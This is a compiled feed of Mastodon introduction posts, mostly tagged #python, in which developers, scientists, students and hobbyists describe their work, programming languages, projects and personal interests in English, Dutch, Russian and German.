I've seen every #StarTrek episode at least 47 times and like most other #SciFi (#StarWars, #Stargate, etc)
Recently been looking more into #Programming (#Python / #Cpp), maybe want to do it also professionally in the future.
@simon@social.sgawolf.com
Adding to the #introduction posts…
I co-own https://mindme.care (we provide GPS devices for #AssistedLiving) but I’m really a software developer who’s current love is #elixir but I also tinker with #python too.
I live in the #uk, detest #brexit and am getting more and more left-wing as I get older.
I’m interested in #ActiveTravel, #CargoBikes and #LivableCities (despite living in a small village in the countryside) and would one day love to build a sustainable, eco-home.
@Tali@hachyderm.io
I guess I'll fire off an #introduction like all of the cool kids are doing... Hashtags incoming!
Hello, I'm Tali, a #MolecularBiologist turned #SoftwareEngineer now doing cool stuff at #GitHub. Mostly into #ruby and #python but slowly learning #javascript and #react
I have just a few hobbies... #knitting #gardening #embroidery #CrossStitch #crochet #aquascaping #ModularOrigami #a11y #needlepoint #volunteering #parrots #sustainability #HousePlants #FiberArts #improv #MechanicalKeyboards...
@aliceschwarze@fediscience.org
#introduction time!
I do #appliedmath at Dartmouth College. I am all about using #math to model #complexsystems + #networks in #compbio, #compneuro & #compsoc, and to improve methods in #datascience and #ml. (Have worked on #emergence of correlation patterns and #causalinference and now getting into #explanaible #machinelearning for #publichealth / #mentalhealth.)
Would love to connect with the #mastodonscience crowd, #womeninmath, #womeninstem, #python, #dataviz folks, and fellow #cat lovers!
@itsthejoker@fosstodon.org
Reposting for new people!
#Introduction #TwitterMigration Hi, all! I'm Joe Kaufeld: #python developer, #woodworker, and 3d printing weirdo. I run https://filamentcolors.xyz and do far too much #3Dprinting for any one human. Welcome to Mastodon!
@Searge@hachyderm.io
Hello 🖖
I'm Sergij from the northwest of Ukraine 🇺🇦
Currently, I'm DevOps Engineer at Smile.eu. I am working on the automation of deployment and provisioning with #gitlab_ci #ansible & #bash
Interested in #aws #data #devops #linux #python
I own TuxOps Channel about some related stuff: https://t.me/tuxua
@andreagrandi@mastodon.social
@ryanbanderson@fediscience.org
In my #introduction post I didn't realize the importance of hashtags yet, so here are a bunch of things I'm interested in! Follow me, I'll follow you, everyone wins!
Work-related:
#science
#scicomm
#space
#geology
#astronomy
#mars
#CuriosityRover
#PerseveranceRover
#planets
#python
#scikitlearn
#MachineLearning
Non-work:
#books
#writing
#writers
#authors
#nanowrimo
#poetry
#quotes
#fantasy
#scifi
#history
#gaming
#rpg
#parenting
#photography
#hiking
#skiing
#philosophy
@jonocarroll@fosstodon.org
#introduction time! I'm Jonathan Carroll, known around the sites as jonocarroll and on the bird site as carroll_jono (the other name was taken).
My PhD (2009) was in theoretical physics (Fortran90). I've since worked in fisheries (stats), then cancer immunology with Genentech, and most recently precision autoimmunology with a biotech startup HIBio. I'm mostly #rstats but learning #julia, #rust, and #python for fun. I work remotely from #australia and I blog at https://jcarroll.com.au
@glasnt@cloudisland.nz
✨ #introduction ✨
👋 Hi! I'm Katie (they/them).
🐨 I live in Naarm (Melbourne), Australia.
🧵 I craft a bunch (wool tapestry, cross-stitch, blackwork embroidery)
🧑💻 I work as a Developer Relations Engineer (My job explained poorly: "I get frustrated with new tech so you don't have to.").
🦜 I like emoji. Even made some!
🎤 I run and speak at a lot of #python, #django, and #devops events. Like, a lot.
👟 I also like running (events and trails!)
☕ I enjoy both coffee and tea (🧋 and 🍵 )
💖
@Lesault@infosec.exchange
I've been here for four years, it's probably time I posted an #introduction
Hello! I'm Lesault - a security consultant in #Edinburgh, #Scotland 🏴 I'm focused on #VulnerabilityManagement and #AttackPathMapping. I have previously worked in PKI but have managed forget almost all of that!
I studied #Architecture at university, and a love of computer aided design set me on course for an IT career. I've been in #infosec for about 20 years.
In the 'before times'™ I was a #paraglider 🪂 pilot and #hillwalker ⛰️ - hopefully I'll get back to that soon.
I speak poor #French and have been learning #Gaelic / #Gàidhlig for a few months.
I code in #Python - My current project is to improve vulnerability reporting.
@jks@kamu.social
#introduction: I'm a software developer and occasional data scientist living in #Helsinki. Favourite technologies include #python, #matplotlib (I started the PDF backend way back), #go, #clojure. Currently employed as a consultant at Reaktor. I coach #math olympiad contestants and am trying to learn #taichi.
I am single-sided deaf because of an acoustic neuroma, so I'm not very good company at cafes or parties or on the phone, and get tired easily when talking to people.
@martinpeck@fosstodon.org
Hello everyone! Here's my #introduction...
I'm a software engineering manager at #microsoft, living in the #uk. I'm interested in #science, #technology, and #oss #development.
I tend to favour #python when #programming, and spend most of my time in #vscode.
In my spare time I like #running, #cycling, #beer, and am enjoying studying for a #maths degree with the #openuniversity.
@ajh@indieweb.social
Are you a #Python dev? This tool I built might be useful: https://gitlab.com/harford/logzy
It checks and fixes log statements that are using f-strings.
It needs a bit more polishing, but it works in the most common cases.
@pythonbynight@fosstodon.org
Hi all. First post on here... middle of the night for me. I code Python for fun. (Doesn't everyone?)
What I mean is, I've learned it on the side, when time allows, which is, you guessed it... Mostly at night.
I built a website called https://www.pythonbynight.com
I write sporadically on things I'm learning or occasionally about events I've attended.
Say hi!
@brian@graphics.social
#introduction #introductions @SheriffStone and I are building a community over at graphics.social. It's for everyone interested in the science of computer graphics across all industries like: #vfx #gamedev #vr #ar #XR #animation #art #render #rendering #academics #cg #movies #tv #streaming #design #web3
Various tech that I hope gets discussed: #cad #pbr #sdf #nerfs #webgl #metal #vulkan #opengl #directx #renderman #unrealengine #unity3d as well as languages likes #c #cpp #csharp #lua #python
@rstub@digitalcourage.social
My #introduction:
I studied #physics and am now working as Solutions Engineer for Posit PBC (f.k.a. RStudio), I like riding my #bicycles, I am interested in #politics, I am concerned about the #climatecrisis (born at 329 ppm), I try to use #linux and more generally #FOSS as much as possible, I sometimes dabble with #datascience using #rstats or #python, I like good #typography and use #LaTeX to produce it, I am still looking for a way to get back into analog B&W #photography.
@jantheowassink@chaos.social
In het kader van #nieuwhier (was weggevallen door verhuizing van instance):
Interesse in #linux, programmeren (op dit moment meestal #python, #haskel), databases (#oracle) en #IT in het algemeen.
Speel #gitaar (#guitar), (modern) klassiek en af en toe jazzy/Zuid Amerikaans (Bijv. Antonio Lauro; de Venozolaanse walsen).
@mdreid@mastodon.social
I got a suggestion to use hashtags to help kickstart my network here. So here's a hashtag-dense list of my interests:
I'm a data-focused #machinelearning engineer at #Apple, working with #PyTorch, #Spark, and #Python which I write with a #Haskell accent. I used to work in #LearningTheory.
I enjoy long distance #running and #trailrunning and am training for my first #ultramarathon.
In my spare time I make electronic #ModularSynth/#Eurorack music and am learning #JazzPiano and the #GameOfGo.
@jeroen94704@fosstodon.org
Time for an #introduction I guess.
I am:
- #Eindhoven native
- Physicist by training
- Software developer by profession (industrial and medical equipment, mainly #C++, but also #C and #Python)
- Electronics tinkerer (#ESP8266, #D1Mini, #mechanicalkeyboards, #platformio, #kicad)
- Smart home hobbyist (#HomeAssistant, #MQTT, #Tasmota)
- Into #selfhosting (#docker, #mailpile, #pihole)
- 3D printing early adopter (since 2014, #prusa, #marlin, #fusion360)
@chrysn@chaos.social
I never did proper #introduction post in the 3 years since joining. I'm a nerd of all trades (and master of none), so I'll just pick some:
I like working with #embedded systems, and linking them across the Internet (which some call #IoT). As I want those to be efficient, interoperable and secure, I spend much time around the #CoAP stack of protocols -- both contributing to its specs at #IETF, and writing #FreeSoftware implementations in #RustLang, #Python and on @RIOT_OS (in C).
@ProfCharlesHaas@mastodon.social
I work at the intersection of #microbiology , #engineering , #risk and the #environment . Lots of work in #drinkingwater , #indoorairquality ( #IAQ ), #wastewaterreuse
organisms of current interest include:
#Legionella
#Mycobacterium
#COVID19
Interested in #disinfection , #processmodeling, #neuralnetworks , #CFD
@preslavrachev@mastodon.social
🐘 #introduction Hi there 👋! I'm a seasoned software engineer, educator, and author with a deep love for #golang, #python, and #java.
When I'm not immersed in code or bridging the gap between academia and the IT industry, you'll find me hitting the trails, indulging in my passion for long-distance running.
Beyond the tech and the tracks, I'm on a mission to spread positive vibes and #goodnews. In a world filled with noise, I believe in highlighting the good, the hopeful, and the inspiring.
@rmflight@mastodon.social
I guess it might be time for an #introduction on this site.
I am a research analyst in academic #bioinformatics. I'm interested in new computational #metabolomics methods, #transcriptomics, data integration, etc.
I know just enough #statistics to be useful / dangerous, depending on your POV.
I use #rstats heavily (in a lab that mostly uses #python), and believe in the value of graphing your data, as well as making work reproducible and as open as possible.
@treefit@fosstodon.org
Hi, I'm treefit, a #foss dev working on #deltachat. I'm responsible for the desktop client together with @jikstra.
My favorite coding language is #rustlang, but I "speak" #typescript, #javascript, #html, #css, too.
I'm also capable in #python and #swift, but not as much.
I'm new to the mastodon/toot style of communication (never used Twitter, either), so I'm still learning of how this all works.
My goal is to give you some behind-the scenes peeks onto the DeltaChat development.
#introduction
@allan@mastodon.xyz
I program for a living, mostly in #python these days. I love #scheme and the #guix system and have biases towards #foss. I'm currently trying to use #guile scheme more often to better understand this wonderful #lisp. My day job mostly involves hacking on proprietary #gis software and #kubernetes.
Other hobbies revolve around #bikes, #foraging, and travel. I'm especially obsessed with #mushrooms.
I live in #Norway, I'm a proud father of three, and I enjoy being a dad.
@HugeGameArtGD@mastodon.gamedev.place
I've written a tool which transpiles basic #gdscript syntax to working #python code using search-and-replace.
CI releases are available at itch.io https://linuxusergd.itch.io/gdscript-transpiler-bin
Binaries are bootstrapped using #godot4, for source code see https://codeberg.org/linuxusergd/gdscript-transpiler-bin
#godotengine #madewithgodot
@nobodyinperson@fosstodon.org
My first scientific paper has been published! 📰 🎉
Büchau (2022): An Autarkic Wireless Sensor Network to Monitor Atmospheric CO2 Concentrations
https://doi.org/10.1127/metz/2022/1125
In my PhD I am building a wireless CO2 sensor network with mostly #FOSS components. This paper describes it.
Code and hardware designs are available here: https://gitlab.com/tue-umphy/co2mofetten
#raspberrypi #esp8266 #mqtt #co2 #arduino #sensor #network #python
@bano@mastodon.ml
Я программист, сейчас на #typescript пишу всякие #web штуки. Последнее время упарываюсь в #web3, то есть #crypto, децентрализация и всякое такое. В вебе со времён #jquery и ES3, но про них обычно вспоминают как о страшном сне. Могу ещё писать на #python и #rust.
Но вообще когда-то давно хотел стать дизайнером. Не потому что творчество люблю, а потому что люблю делать красиво и удобно.
В свободное время... Скажем, что в свободное время я тюленю перед компом, пытаясь найти в интернете всякого интересненького. Не так давно нашёл вот Mastodon и потихоньку задумываюсь о том, чтобы сделать свой сайт в лучших традициях #indieweb
Вот такой вот получился у меня #introduction
Что буду сюда писать пока не знаю, я скорее чукча-слушатель, а не писатель.
@kacey@mspsocial.net
#introductions
Hi! I am a #northside #victory resident.
My main hobbies are
#classicalguitar and the ancient game #go or #baduk -- I'm 1-5k, always looking for people who want to play in person regardless of level!
At times I also do #backpacking and #pleinair #oilpainting.
By day I am a #software engineer (#python, #javascript, #c++) specializing in #embedded systems and hardware integration.
I also have 2 super-sweet orange kitties named Shadow and Tommy
@senden9@chaos.social
Hi!
My occupation is software developer and project manager.
Currently my hobbies are: programming (on diverse layers), 3D modeling, UAV (aka Drone) stuff, control theory, all kinds of simulations, embedded systems development, a bit of hardware hacking and photography.
#Introduction #RustLang #Python #Jupyter #Blender #OpenSCAD #ControlTheory #Photography #UAV
@dunkelstern@kampftoast.de · Reply to Fixstern's post
Hi, I am known as dunkelstern almost everywhere, in real life just call me “jo”.
I am a backend-developer using #python and #javascript by day, but i am living on github by night too and working on one of those unfinished projects there (#rust, #c, python and #cad)
If I am not tinkering with my #smarthome you will find me in the guts of some #3dprinter or fiddling with some #electronics
On the weekend you’re likely to find me in our #makerspace habitat augsburg
@dunkelstern@kampftoast.de
Hi, ich bin fast überall dunkelstern, im echten leben sagen die leute meistens Jo.
Ich arbeite als backend-entwickler mit #python und #javascript, bin aber auch privat auf github zuhause und kippe dort meine drölf millionen unfertige projekte ab (#rust, #c, python und #cad)
Wenn ich nicht an meinem #smarthome bastel dann wahrscheinlich an irgend nem #3d-drucker oder sonstigem #elektronik gebastel.
Am wochenende findet ihr mich im habitat in augsburg, meinem #makerspace
@cweickhmann@qoto.org
Hi everyone! I am #RF #engineer by training, #european #federalist and #socialist (if you're scared now, you can say #progressive or social democrat) by conviction, #cycling to work (now working at GSI) and trying to stay sane with two kids in the Germany. I speak German, English and French, so I'll be more than happy to connect in any of these languages.
I am blogging occasionally about mostly irrelevant small things that bug me and may me #Linux-, #Python- or #electromagnitics-related under https://bowfinger.de/blog
#introduction #neuhier
@art_codesmith@toot.cafe
So, my last post (at the moment of this post) was in Nov 2019, so a new #introduction post might be in order.
Hello everyone! My name is Artemis. I will mostly write about #Programming (incl. #Ruby, #Python, #Clojure, #Elixir, #Golang, #Docker and others), #SciFi, #fantasy with occasional various nerdy postings (#linux/#unix #comicbooks, #lego, #formulae), #lgbtqi stuff or plain nonsense-posting.
Hope you enjoy!
@FiXato@toot.cat
Started an alt for @FiXato@mastodon.social here on toot.cat to see if #Glitchsoc is a closer match to what I want out of a #SocialMediaPlatform, feature-wise.
So, it's time for a re-introduction:
-=-
I'm FiXato, a stay-at-home father of a two-year-old I often refer to as #BeardGrabber.
While I was born in the Netherlands, I've been living in northern Norway for quite some time now.
-=-
In day-to-day life I take care of our son while the missus is at work, and when I have some spare time and headspace, I like to tinker on my various coding projects.
Aside from that, I like to play some mobile Android games such as #PokémonGO, #Ingress and #MarioKartTour.
-=-
― #Dutch he/him from the #Netherlands
Emigrated to #Norway (#northernNorway to be more precise)
― I like to do #parenting / #parentsOfMastodon posts about our #2yo.
― Grew up with #MSX (a Philips #NMS8250 #MSX2 #homecomputer to be precise).
Related interest in #retroGaming, #retroComputer , and the #demoscene. Looking forward to attending #demoparties again.
― #Development experience primarily with #Ruby, #Python and #Bash, with a general #dev interest in #WebDevelopment, #scripting, #coding
― #photography mostly focused on #landscapePhotography using a #MiA1 and #Canon1000D
― also like to post about #language / #linguistics, especially about #etymology
― #FiXatoDrinks is where I tend to post about the #beers and other beverages I drink.
#music:
↳ #metal
↳ #chiptune
↳ #FiXatoListens
Fan of:
↳ #TerryPratchett's #DiscWorld
↳ #StephenKing's #DarkTower
↳ #StarTrek
↳ #DoctorWho
@jforseth210@rcsocial.net
Bit late for a #intro, but better late than never.
I'm a high school student. I'm a farm kid, interested in #farming #ranching #agriculture #ffa #4H
I'm #catholic and had the opportunity to visit the #vatican #rome pre-covid.
I'm politically #conservative, willing to talk to people who disagree, but not interested in political arguments.
I'm interested in #linux and #foss. Currently running #manjaro with #kde on my main machine. I've played with #selfhosting on #raspberrypi. Do some programming: I'm not bad with #python, okay with #html #css #js
I also make #videos. Mostly farm life, but I make videos for my clubs, church, school projects, too. I fly a #dji #mavic, and use a #gopro. Still have a lot to learn, but I'm pretty proud of my work.
@ccamara@scholar.social
I am new at this #mastodon instance: I'm an architect and PhD on social sciences who studies the commodifications between #cities, #technology and #society in the context of the Urban Studies and I am now pursuing a more data-scientist approach. I've been using #R for some years and I am now starting with #python
I'm looking for people with similar research interests or who can help me improving my skills.
Thanks @cxli for kindly introducing me to this nice ritual.
@gbraad@mastodon.social
• #electronics
• FPGA
• micro:bit #RasPi #Arduino
• RC models (#Tamiya #WLToys)
• #retro computers consoles
• #RetroGaming
• 𝑨𝑴𝑰𝑮𝑨 #Amiga
• #Sega #MegaDrive
• #emulation #MiSTer
• #Linux and programming
• #Fedora #Debian
• Containers
• #javascript #python
• Golang #dotNet
• #tabletop #games
• #mtg Magic the Gathering
• #Ironsworn
• #CallOfCthulhu
• #HeroQuest
• #Gaslands
• #Dragonbane
• #Undaunted
• #StarTrek #TNG #DS9 #VOY
@epilanthanomai@signs.codes
Oh, I never pinned an #introduction!
Hi! I'm mostly here for conversations, reflections, and geekery around subjects that catch my fancy. Recently that orbits technology (esp #Python, data services, networks), music (writ large), languages (esp ancient Greek), autism, and general silliness. Structural protection for the marginalized is close to my heart, but I've learned I need to engage gently to stay healthy. I try to keep shitposting to a minimum.
I co-administer #signsandcodes.